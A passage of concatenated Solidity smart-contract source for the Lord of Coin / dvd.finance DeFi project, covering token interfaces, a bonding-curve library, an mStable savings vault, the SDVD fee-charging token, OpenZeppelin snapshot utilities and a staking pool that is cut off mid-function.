IERC20 { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; function increaseShareholderPoint(address account, uint256 amount) external; function decreaseShareholderPoint(address account, uint256 amount) external; function shareholderPointOf(address account) external view returns (uint256); function totalShareholderPoint() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface ISDvd is IERC20 { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; function setMinter(address account, bool value) external; function setNoFeeAddress(address account, bool value) external; function setPairAddress(address _pairAddress) external; function snapshot() external returns (uint256); function syncPairTokenTotalSupply() external returns (bool isPairTokenBurned); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IPool { function openFarm() external; function distributeBonusRewards(uint256 amount) external; function stake(uint256 amount) external; function stakeTo(address recipient, uint256 amount) external; function withdraw(uint256 amount) external; function withdrawTo(address recipient, uint256 amount) external; function claimReward() external; function claimRewardTo(address recipient) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.5.16 <0.7.0; import '@openzeppelin/contracts/math/SafeMath.sol'; library MathUtils { using SafeMath for uint256; /// @notice Calculates the square root of a given value. function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } /// @notice Rounds a division result. function roundedDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, 'div by 0'); uint256 halfB = (b.mod(2) == 0) ? (b.div(2)) : (b.div(2).add(1)); return (a.mod(b) >= halfB) ? (a.div(b).add(1)) : (a.div(b)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // // @title MassetStructs // @author Stability Labs Pty. Ltd. // @notice Structs used in the Masset contract and associated Libs interface MassetStructs { // Stores high level basket info struct Basket { // Array of Bassets currently active Basset[] bassets; // Max number of bAssets that can be present in any Basket uint8 maxBassets; // Some bAsset is undergoing re-collateralisation bool undergoingRecol; // // In the event that we do not raise enough funds from the auctioning of a failed Basset, // The Basket is deemed as failed, and is undercollateralised to a certain degree. // The collateralisation ratio is used to calc Masset burn rate. bool failed; uint256 collateralisationRatio; } // Stores bAsset info. The struct takes 5 storage slots per Basset struct Basset { // Address of the bAsset address addr; // Status of the basset, BassetStatus status; // takes uint8 datatype (1 byte) in storage // An ERC20 can charge transfer fee, for example USDT, DGX tokens. bool isTransferFeeCharged; // takes a byte in storage // // 1 Basset * ratio / ratioScale == x Masset (relative value) // If ratio == 10e8 then 1 bAsset = 10 mAssets // A ratio is divised as 10^(18-tokenDecimals) * measurementMultiple(relative value of 1 base unit) uint256 ratio; // Target weights of the Basset (100% == 1e18) uint256 maxWeight; // Amount of the Basset that is held in Collateral uint256 vaultBalance; } // Status of the Basset - has it broken its peg? enum BassetStatus { Default, Normal, BrokenBelowPeg, BrokenAbovePeg, Blacklisted, Liquidating, Liquidated, Failed } // Internal details on Basset struct BassetDetails { Basset bAsset; address integrator; uint8 index; } // All details needed to Forge with multiple bAssets struct ForgePropsMulti { bool isValid; // Flag to signify that forge bAssets have passed validity check Basset[] bAssets; address[] integrators; uint8[] indexes; } // All details needed for proportionate Redemption struct RedeemPropsMulti { uint256 colRatio; Basset[] bAssets; address[] integrators; uint8[] indexes; } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import './MathUtils.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; library LordLib { using SafeMath for uint256; using MathUtils for uint256; /// @notice The slope of the bonding curve. uint256 public constant DIVIDER = 1000000; // 1 / multiplier 0.000001 (so that we don't deal with decimals) /** * Supply (s), reserve (r) and token price (p) are in a relationship defined by the bonding curve: * p = m * s * The reserve equals to the area below the bonding curve * r = s^2 / 2 * The formula for the supply becomes * s = sqrt(2 * r / m) * * In solidity computations, we are using divider instead of multiplier (because its an integer). * All values are decimals with 18 decimals (represented as uints), which needs to be compensated for in * multiplications and divisions */ /// @notice Computes the increased supply given an amount of reserve. /// @param _reserveDelta The amount of reserve in wei to be used in the calculation. /// @param _totalReserve The current reserve state to be used in the calculation. /// @param _supply The current supply state to be used in the calculation. /// @return token amount in wei. function calculateReserveToTokens( uint256 _reserveDelta, uint256 _totalReserve, uint256 _supply ) internal pure returns (uint256) { uint256 _reserve = _totalReserve; uint256 _newReserve = _reserve.add(_reserveDelta); // s = sqrt(2 * r / m) uint256 _newSupply = MathUtils.sqrt( _newReserve .mul(2) .mul(DIVIDER) // inverse the operation (Divider instead of multiplier) .mul(1e18) // compensation for the squared unit ); uint256 _supplyDelta = _newSupply.sub(_supply); return _supplyDelta; } /// @notice Computes the decrease in reserve given an amount of tokens. /// @param _supplyDelta The amount of tokens in wei to be used in the calculation. /// @param _supply The current supply state to be used in the calculation. /// @param _totalReserve The current reserve state to be used in the calculation. /// @return Reserve amount in wei. function calculateTokensToReserve( uint256 _supplyDelta, uint256 _supply, uint256 _totalReserve ) internal pure returns (uint256) { require(_supplyDelta <= _supply, 'Token amount must be less than the supply'); uint256 _newSupply = _supply.sub(_supplyDelta); uint256 _newReserve = calculateReserveFromSupply(_newSupply); uint256 _reserveDelta = _totalReserve.sub(_newReserve); return _reserveDelta; } /// @notice Calculates reserve given a specific supply. /// @param _supply The token supply in wei to be used in the calculation. /// @return Reserve amount in wei. function calculateReserveFromSupply(uint256 _supply) internal pure returns (uint256) { // r = s^2 * m / 2 uint256 _reserve = _supply .mul(_supply) .div(DIVIDER) // inverse the operation (Divider instead of multiplier) .div(2); return _reserve.roundedDiv(1e18); // correction of the squared unit } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import './interfaces/IVault.sol'; import './interfaces/IMStable.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract Vault is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event FundMigration(uint256 value); /// @notice mStable governance proxy contract. /// It should not change. address public nexusGovernance; /// @notice mStable savingsContract contract. /// It can be changed through governance. address public savingsContract; /// @notice mUSD address. address public musd; /// @notice LoC address address public controller; constructor(address _musd, address _nexus) public { // Set mUSD address musd = _musd; // Set nexus governance address nexusGovernance = _nexus; // Get mStable savings contract savingsContract = _fetchMStableSavings(); // Approve savings contract to spend mUSD on this contract _approveMax(musd, savingsContract); } /* ========== Modifiers ========== */ modifier onlyController { require(msg.sender == controller, 'Controller only'); _; } /* ========== Owner Only ========== */ /// @notice Setup for the first time after deploy and renounce ownership immediately. function init(address _controller) external onlyOwner { // Set Lord of coin controller = _controller; // Renounce ownership immediately after init renounceOwnership(); } /* ========== Controller Only ========== */ /// @notice Deposits reserve into savingsAccount. /// @dev It is part of Vault's interface. /// @param amount Value to be deposited. function deposit(uint256 amount) external onlyController { require(amount > 0, 'Cannot deposit 0'); // Transfer mUSD from sender to this contract IERC20(musd).safeTransferFrom(msg.sender, address(this), amount); // Send to savings account IMStable(savingsContract).depositSavings(amount); } /// @notice Redeems reserve from savingsAccount. /// @dev It is part of Vault's interface. /// @param amount Value to be redeemed. function redeem(uint256 amount) external onlyController { require(amount > 0, 'Cannot redeem 0'); // Redeem the amount in credits uint256 credited = IMStable(savingsContract).redeem(_getRedeemInput(amount)); // Send credited amount to sender IERC20(musd).safeTransfer(msg.sender, credited); } /* ========== View ========== */ /// @notice Returns balance in reserve from the savings contract. /// @dev It is part of Vault's interface. /// @return balance Reserve amount in the savings contract. function getBalance() public view returns (uint256 balance) { // Get balance in credits amount balance = IMStable(savingsContract).creditBalances(address(this)); // Convert credits to reserve amount if (balance > 0) { balance = balance.mul(IMStable(savingsContract).exchangeRate()).div(1e18); } } /* ========== Mutative ========== */ /// @notice Allows anyone to migrate all reserve to new savings contract. /// @dev Only use if the savingsContract has been changed by governance. function migrateSavings() external { address currentSavingsContract = _fetchMStableSavings(); require(currentSavingsContract != savingsContract, 'Already on latest contract'); _swapSavingsContract(); } /* ========== Internal ========== */ /// @notice Convert amount to mStable credits amount for redeem. function _getRedeemInput(uint256 amount) internal view returns (uint256 credits) { // Add 1 because the amounts always round down // e.g. i have 51 credits, e4 10 = 20.4 // to withdraw 20 i need 20*10/4 = 50 + 1 credits = amount.mul(1e18).div(IMStable(savingsContract).exchangeRate()).add(1); } /// @notice Approve spender to max. function _approveMax(address token, address spender) internal { uint256 max = uint256(- 1); IERC20(token).safeApprove(spender, max); } /// @notice Gets the current mStable Savings Contract address. /// @return address of mStable Savings Contract. function _fetchMStableSavings() internal view returns (address) { address manager = IMStable(nexusGovernance).getModule(keccak256('SavingsManager')); return IMStable(manager).savingsContracts(musd); } /// @notice Worker function that swaps the reserve to a new savings contract. function _swapSavingsContract() internal { // Get all savings balance uint256 balance = getBalance(); // Redeem the amount in credits uint256 credited = IMStable(savingsContract).redeem(_getRedeemInput(balance)); // Get new savings contract savingsContract = _fetchMStableSavings(); // Approve new savings contract as mUSD spender _approveMax(musd, savingsContract); // Send to new savings account IMStable(savingsContract).depositSavings(credited); // Emit event emit FundMigration(balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IMStable { // Nexus function getModule(bytes32) external view returns (address); // Savings Manager function savingsContracts(address) external view returns (address); // Savings Contract function exchangeRate() external view returns (uint256); function creditBalances(address) external view returns (uint256); function depositSavings(uint256) external; function redeem(uint256) external returns (uint256); function depositInterest(uint256) external; } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import "./uniswapv2/interfaces/IUniswapV2Pair.sol"; import "./interfaces/ILordOfCoin.sol"; import "./interfaces/ITreasury.sol"; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract SDvd is ERC20Snapshot, Ownable { using SafeMath for uint256; /// @notice Minter address. DVD-ETH Pool, DVD Pool. mapping(address => bool) public minters; /// @dev No fee address. SDVD-ETH Pool, DVD Pool. mapping(address => bool) public noFeeAddresses; /// @notice Lord of Coin address public controller; address public devTreasury; address public poolTreasury; address public tradingTreasury; /// @dev SDVD-ETH pair address address public pairAddress; /// @dev SDVD-ETH pair token IUniswapV2Pair pairToken; /// @dev Used to check LP removal uint256 lastPairTokenTotalSupply; constructor() public ERC20('Stock dvd.finance', 'SDVD') { } /* ========== Modifiers ========== */ modifier onlyMinter { require(minters[msg.sender], 'Minter only'); _; } modifier onlyController { require(msg.sender == controller, 'Controller only'); _; } /* ========== Owner Only ========== */ /// @notice Setup for the first time after deploy and renounce ownership immediately function init( address _controller, address _pairAddress, address _sdvdEthPool, address _dvdPool, address _devTreasury, address _poolTreasury, address _tradingTreasury ) external onlyOwner { controller = _controller; // Create uniswap pair for SDVD-ETH pool pairAddress = _pairAddress; // Set pair token pairToken = IUniswapV2Pair(pairAddress); devTreasury = _devTreasury; poolTreasury = _poolTreasury; tradingTreasury = _tradingTreasury; // Add pools as SDVD minter _setMinter(_sdvdEthPool, true); _setMinter(_dvdPool, true); // Add no fees address _setNoFeeAddress(_sdvdEthPool, true); _setNoFeeAddress(_dvdPool, true); _setNoFeeAddress(devTreasury, true); _setNoFeeAddress(poolTreasury, true); _setNoFeeAddress(tradingTreasury, true); // Renounce ownership immediately after init renounceOwnership(); } /* ========== Minter Only ========== */ function mint(address account, uint256 amount) external onlyMinter { _mint(account, amount); } function burn(address account, uint256 amount) external onlyMinter { _burn(account, amount); } /* ========== Controller Only ========== */ function snapshot() external onlyController returns (uint256) { return _snapshot(); } /* ========== Public ========== */ function syncPairTokenTotalSupply() public returns (bool isPairTokenBurned) { // Get LP token total supply uint256 pairTokenTotalSupply = pairToken.totalSupply(); // If last total supply > current total supply, // It means LP token is burned by uniswap, which means someone removing liquidity isPairTokenBurned = lastPairTokenTotalSupply > pairTokenTotalSupply; // Save total supply lastPairTokenTotalSupply = pairTokenTotalSupply; } /* ========== Internal ========== */ function _setMinter(address account, bool value) internal { minters[account] = value; } function _setNoFeeAddress(address account, bool value) internal { noFeeAddresses[account] = value; } function _transfer(address sender, address recipient, uint256 amount) internal virtual override { // Check uniswap liquidity removal _checkUniswapLiquidityRemoval(sender); if (noFeeAddresses[sender] || noFeeAddresses[recipient]) { super._transfer(sender, recipient, amount); } else { // 0.5% for dev uint256 devFee = amount.div(200); // 1% for farmers in pool uint256 poolFee = devFee.mul(2); // 1% to goes as sharing profit uint256 tradingFee = poolFee; // Get net amount uint256 net = amount .sub(devFee) .sub(poolFee) .sub(tradingFee); super._transfer(sender, recipient, net); super._transfer(sender, devTreasury, devFee); super._transfer(sender, poolTreasury, poolFee); super._transfer(sender, tradingTreasury, tradingFee); } } function _checkUniswapLiquidityRemoval(address sender) internal { bool isPairTokenBurned = syncPairTokenTotalSupply(); // If from uniswap LP address if (sender == pairAddress) { // Check if liquidity removed require(isPairTokenBurned == false, 'LP removal disabled'); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../math/SafeMath.sol"; import "../../utils/Arrays.sol"; import "../../utils/Counters.sol"; import "./ERC20.sol"; /** * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and * total supply at the time are recorded for later access. * * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting. * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be * used to create an efficient ERC20 forking mechanism. * * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id * and the account address. * * ==== Gas Costs * * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much * smaller since identical balances in subsequent snapshots are stored as a single entry. * * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent * transfers will have normal cost until the next snapshot, and so on. */ abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. * * [WARNING] * ==== * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, * you must consider that it can potentially be used by attackers in two ways. * * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs * section above. * * We haven't measured the actual numbers; if this is something you're interested in please reach out to us. * ==== */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); } // Update balance and/or total supply snapshots before the values are modified. This is implemented // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations. function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // mint _updateAccountSnapshot(to); _updateTotalSupplySnapshot(); } else if (to == address(0)) { // burn _updateAccountSnapshot(from); _updateTotalSupplySnapshot(); } else { // transfer _updateAccountSnapshot(from); _updateAccountSnapshot(to); } } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); // When a valid snapshot is queried, there are three possibilities: // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never // created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds // to this id is the current one. // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the // requested id, and its value is the one to return. // c) More snapshots were created after the requested one, and the queried value was later modified. There will be // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is // larger than the requested one. // // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does // exactly this. uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } // SPDX-License-Identifier: Unlicensed pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../math/Math.sol"; /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./interfaces/ILordOfCoin.sol"; import "./interfaces/IDvd.sol"; import "./interfaces/ISDvd.sol"; import "./interfaces/ITreasury.sol"; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. abstract contract Pool is ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event Staked(address indexed sender, address indexed recipient, uint256 amount); event Withdrawn(address indexed sender, address indexed recipient, uint256 amount); event Claimed(address indexed sender, address indexed recipient, uint256 net, uint256 tax, uint256 total); event Halving(uint256 amount); /// @dev Token will be DVD or SDVD-ETH UNI-V2 address public stakedToken; ISDvd public sdvd; /// @notice Flag to determine if farm is open bool public isFarmOpen = false; /// @notice Farming will be open on this timestamp uint256 public farmOpenTime; uint256 public rewardAllocation; uint256 public rewardRate; uint256 public rewardDuration = 1460 days; // halving per 4 years uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public finishTime; uint256 public bonusRewardAllocation; uint256 public bonusRewardRate; uint256 public bonusRewardDuration = 1 days; // Reward bonus distributed every day, must be the same value with pool treasury release threshold uint256 public bonusLastUpdateTime; uint256 public bonusRewardPerTokenStored; uint256 public bonusRewardFinishTime; struct AccountInfo { // Staked token balance uint256 balance; // Normal farming reward uint256 reward; uint256 rewardPerTokenPaid; // Bonus reward from transaction fee uint256 bonusReward; uint256 bonusRewardPerTokenPaid; } /// @dev Account info mapping(address => AccountInfo) public accountInfos; /// @dev Total supply of staked tokens uint256 private _totalSupply; /// @notice Total rewards minted from this pool uint256 public totalRewardMinted; // @dev Lord of Coin address controller; // @dev Pool treasury address poolTreasury; constructor(address _poolTreasury, uint256 _farmOpenTime) public { poolTreasury = _poolTreasury; farmOpenTime = _farmOpenTime; } /* ========== Modifiers ========== */ modifier onlyController { require(msg.sender == controller, 'Controller only'); _; } modifier onlyPoolTreasury { require(msg.sender == poolTreasury, 'Treasury only'); _; } modifier farmOpen { require(isFarmOpen, 'Farm not open'); _; } /* ========== Owner Only ========== */ /// @notice Setup for the first time after deploy and renounce ownership immediately function init(address _controller, address _stakedToken) external onlyOwner { controller = _controller; stakedToken = _stakedToken; sdvd = ISDvd(ILordOfCoin(_controller).sdvd()); // Renounce ownership immediately after init renounceOwnership(); } /* ========== Pool Treasury Only ========== */ /// @notice Distribute bonus rewards to farmers /// @dev Can only be called by pool treasury function distributeBonusRewards(uint256 amount) external onlyPoolTreasury { // Set bonus reward allocation bonusRewardAllocation = amount; // Calculate bonus reward rate bonusRewardRate = bonusRewardAllocation.div(bonusRewardDuration); // Set finish time bonusRewardFinishTime = block.timestamp.add(bonusRewardDuration); // Set last update time bonusLastUpdateTime = block.timestamp; } /* ========== Mutative ========== */ /// @notice Stake token. /// @dev Need to approve staked token first. /// @param amount Token amount. function stake(uint256 amount) external nonReentrant { _stake(msg.sender, msg.sender, amount); } /// @notice Stake token. /// @dev Need to approve staked token first. /// @param recipient Address who receive staked token balance. /// @param amount Token amount. function stakeTo(address recipient, uint256 amount) external nonReentrant { _stake(msg.sender, recipient, amount); } /// @notice Withdraw token. /// @param amount Token amount. function withdraw(uint256 amount) external nonReentrant farmOpen { _withdraw(msg.sender, msg.sender, amount); } /// @notice Withdraw token. /// @param recipient Address who receive staked token. /// @param amount Token amount. function withdrawTo(address recipient, uint256 amount) external nonReentrant farmOpen { _withdraw(msg.sender, recipient, amount); } /// @notice Claim SDVD reward /// @return Reward net amount /// @return Reward tax amount /// @return Total Reward amount function claimReward() external nonReentrant farmOpen returns(uint256, uint256, uint256) { return _claimReward(msg.sender, msg.sender); } /// @notice Claim SDVD reward /// @param recipient Address who receive reward. /// @return Reward net amount /// @return Reward tax amount /// @return Total Reward amount function claimRewardTo(address recipient) external nonReentrant farmOpen returns(uint256, uint256, uint256) { return _claimReward(msg.sender, recipient); } /* ========== Internal ========== */ function _updateReward(address account) internal { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { accountInfos[account].reward = earned(account); accountInfos[account].rewardPerTokenPaid = rewardPerTokenStored; } } function _updateBonusReward(address account) internal { bonusRewardPerTokenStored = bonusRewardPerToken(); bonusLastUpdateTime = lastTimeBonusRewardApplicable(); if (account != address(0)) { accountInfos[account].bonusReward = bonusEarned(account); accountInfos[account].bonusRewardPerTokenPaid = bonusRewardPerTokenStored; } } /// @notice Stake staked token /// @param sender address. Address who have the token. /// @param recipient address. Address who receive staked token balance. function _stake(address sender, address recipient, uint256 amount) internal virtual { _checkOpenFarm(); _checkHalving(); _updateReward(recipient); _updateBonusReward(recipient); _notifyController(); require(amount > 0, 'Cannot stake 0'); IERC20(stakedToken).safeTransferFrom(sender, address(this), amount); _totalSupply = _totalSupply.add(amount); accountInfos[recipient].balance = accountInfos[recipient].balance.add(amount); emit Staked(sender, recipient, amount); } /// @notice Withdraw staked token /// @param sender address. Address who have stake the token. /// @param recipient address. Address who receive the staked token. function _withdraw(address sender, address recipient, uint256 amount) internal virtual { _checkHalving(); _updateReward(sender); _updateBonusReward(sender); _notifyController(); require(amount > 0, 'Cannot withdraw 0'); require(accountInfos[sender].balance >= amount, 'Insufficient balance'); _totalSupply = _totalSupply.sub(amount); accountInfos[sender].balance = accountInfos[sender].balance.sub(amount); IERC20(stakedToken).safeTransfer(recipient, amount); emit Withdrawn(sender, recipient, amount); } /// @notice Claim reward /// @param sender address. Address who have stake the token. /// @param recipient address. Address who receive the reward. /// @return totalNetReward Total net SDVD reward. /// @return totalTaxReward Total taxed SDVD reward. /// @return totalReward Total SDVD reward. function _claimReward(address sender, address recipient) internal virtual returns(uint256 totalNetReward, uint256 totalTaxReward, uint256 totalReward) { _checkHalving(); _updateReward(sender); _updateBonusReward(sender); _notifyController(); uint256 reward = accountInfos[sender].reward; uint256 bonusReward = accountInfos[sender].bonusReward; totalReward = reward.add(bonusReward); require(totalReward > 0, 'No reward to claim'); if (reward > 0) { // Reduce reward first accountInfos[sender].reward = 0; // Apply tax uint256 tax = reward.div(claimRewardTaxDenominator()); uint256 net = reward.sub(tax); // Mint SDVD as reward to recipient sdvd.mint(recipient, net); // Mint SDVD tax to pool treasury sdvd.mint(address(poolTreasury), tax); // Increase total totalNetReward = totalNetReward.add(net); totalTaxReward = totalTaxReward.add(tax); // Set stats totalRewardMinted = totalRewardMinted.add(reward); } if (bonusReward > 0) { // Reduce bonus reward first accountInfos[sender].bonusReward = 0; // Get balance and check so we doesn't overrun uint256 balance = sdvd.balanceOf(address(this)); if (bonusReward > balance) { bonusReward = balance; } // Apply tax uint256 tax = bonusReward.div(claimRewardTaxDenominator()); uint256 net = bonusReward.sub(tax); // Send bonus reward to recipient IERC20(sdvd).safeTransfer(recipient, net); // Send tax to treasury 